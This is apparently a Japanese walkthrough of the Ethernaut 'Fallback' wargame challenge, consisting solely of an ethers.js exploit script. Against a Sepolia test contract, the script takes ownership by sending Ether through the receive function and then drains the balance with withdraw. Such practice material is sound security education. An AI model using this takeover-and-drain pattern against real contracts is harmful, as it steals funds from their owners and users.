スマートコントラクトのフォールバック関数脆弱性を理解する：Ethernaut「Fallback」チャレンジ徹底解説 #

import { ethers } from "ethers";

async function exploitFallback() {
    // 1. プロバイダーとウォレットの設定
    const provider = new ethers.JsonRpcProvider("https://eth-sepolia.g.alchemy.com/v2/YOUR_API_KEY");
    const privateKey = "0xYOUR_PRIVATE_KEY";
    const wallet = new ethers.Wallet(privateKey, provider);
    
    console.log("攻撃者アドレス:", wallet.address);
    
    // 2. コントラクトの設定
    const contractAddress = "0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB";
    const abi = [
        "function contribute() public payable",
        "function withdraw() public",
        "function owner() public view returns (address)",
        "function getContribution() public view returns (uint256)"
    ];
    
    const contract = new ethers.Contract(contractAddress, abi, wallet);
    
    // 3. 現在の状態の確認
    const initialOwner = await contract.owner();
    console.log("初期所有者:", initialOwner);
    
    const initialBalance = await provider.getBalance(contractAddress);
    console.log("コントラクト初期残高:", ethers.formatEther(initialBalance), "ETH");
    
    // 4. ステップ1: 最小額の寄付
    console.log("\nステップ1: 最小額の寄付を実行...");
    try {
        const contributeTx = await contract.contribute({
            value: ethers.parseEther("0.000000000000000001") // 1 wei
        });
        await contributeTx.wait();
        console.log("寄付完了。トランザクションハッシュ:", contributeTx.hash);
        
        // 寄付額の確認
        const myContribution = await contract.getContribution();
        console.log("現在の寄付額:", ethers.formatEther(myContribution), "ETH");
    } catch (error) {
        console.error("寄付中にエラー:", error);
        return;
    }
    
    // 5. ステップ2: フォールバック関数のトリガー
    console.log("\nステップ2: フォールバック関数をトリガー...");
    try {
        // データなしでEtherを送信（receive()関数を呼び出す）
        const rawTx = {
            to: contractAddress,
            value: ethers.parseEther("0.000000000000000001"), // 1 wei
            // dataフィールドを空にすることでreceive()関数が呼び出される
        };
        
        const fallbackTx = await wallet.sendTransaction(rawTx);
        await fallbackTx.wait();
        console.log("フォールバック呼び出し完了。トランザクションハッシュ:", fallbackTx.hash);
        
        // 所有権の確認
        const newOwner = await contract.owner();
        console.log("新しい所有者:", newOwner);
        console.log("攻撃者アドレス:", wallet.address);
        console.log("所有権奪取成功:", newOwner.toLowerCase() === wallet.address.toLowerCase());
    } catch (error) {
        console.error("フォールバック呼び出し中にエラー:", error);
        return;
    }
    
    // 6. ステップ3: 資金の引き出し
    console.log("\nステップ3: 資金を引き出し...");
    try {
        const withdrawTx = await contract.withdraw();
        await withdrawTx.wait();
        console.log("引き出し完了。トランザクションハッシュ:", withdrawTx.hash);
        
        // 最終残高の確認
        const finalBalance = await provider.getBalance(contractAddress);
        console.log("コントラクト最終残高:", ethers.formatEther(finalBalance), "ETH");
        console.log("攻撃成功:", finalBalance === 0n);
    } catch (error) {
        console.error("引き出し中にエラー:", error);
        return;
    }
    
    // 7. 攻撃の検証
    console.log("\n=== 攻撃結果の検証 ===");
    const finalOwner = await contract.owner();
    const finalContractBalance = await provider.getBalance(contractAddress);
    
    console.log("最終所有者:", finalOwner);
    console.log("最終コントラクト残高:", ethers.formatEther(finalContractBalance), "ETH");
    
    if (finalOwner.toLowerCase() === wallet.address.toLowerCase() && finalContractBalance === 0n) {
        console.log("✅ 攻撃成功: 所有権の奪取と資金の回収が完了しました");
    } else {
        console.log("❌ 攻撃失敗: 条件が満たされていません");
    }
}

// メイン関数の実行
async function main() {
    try {
        await exploitFallback();
    } catch (error) {
        console.error("予期せぬエラー:", error);
        process.exit(1);
    }
}

main().then(() => process.exit(0));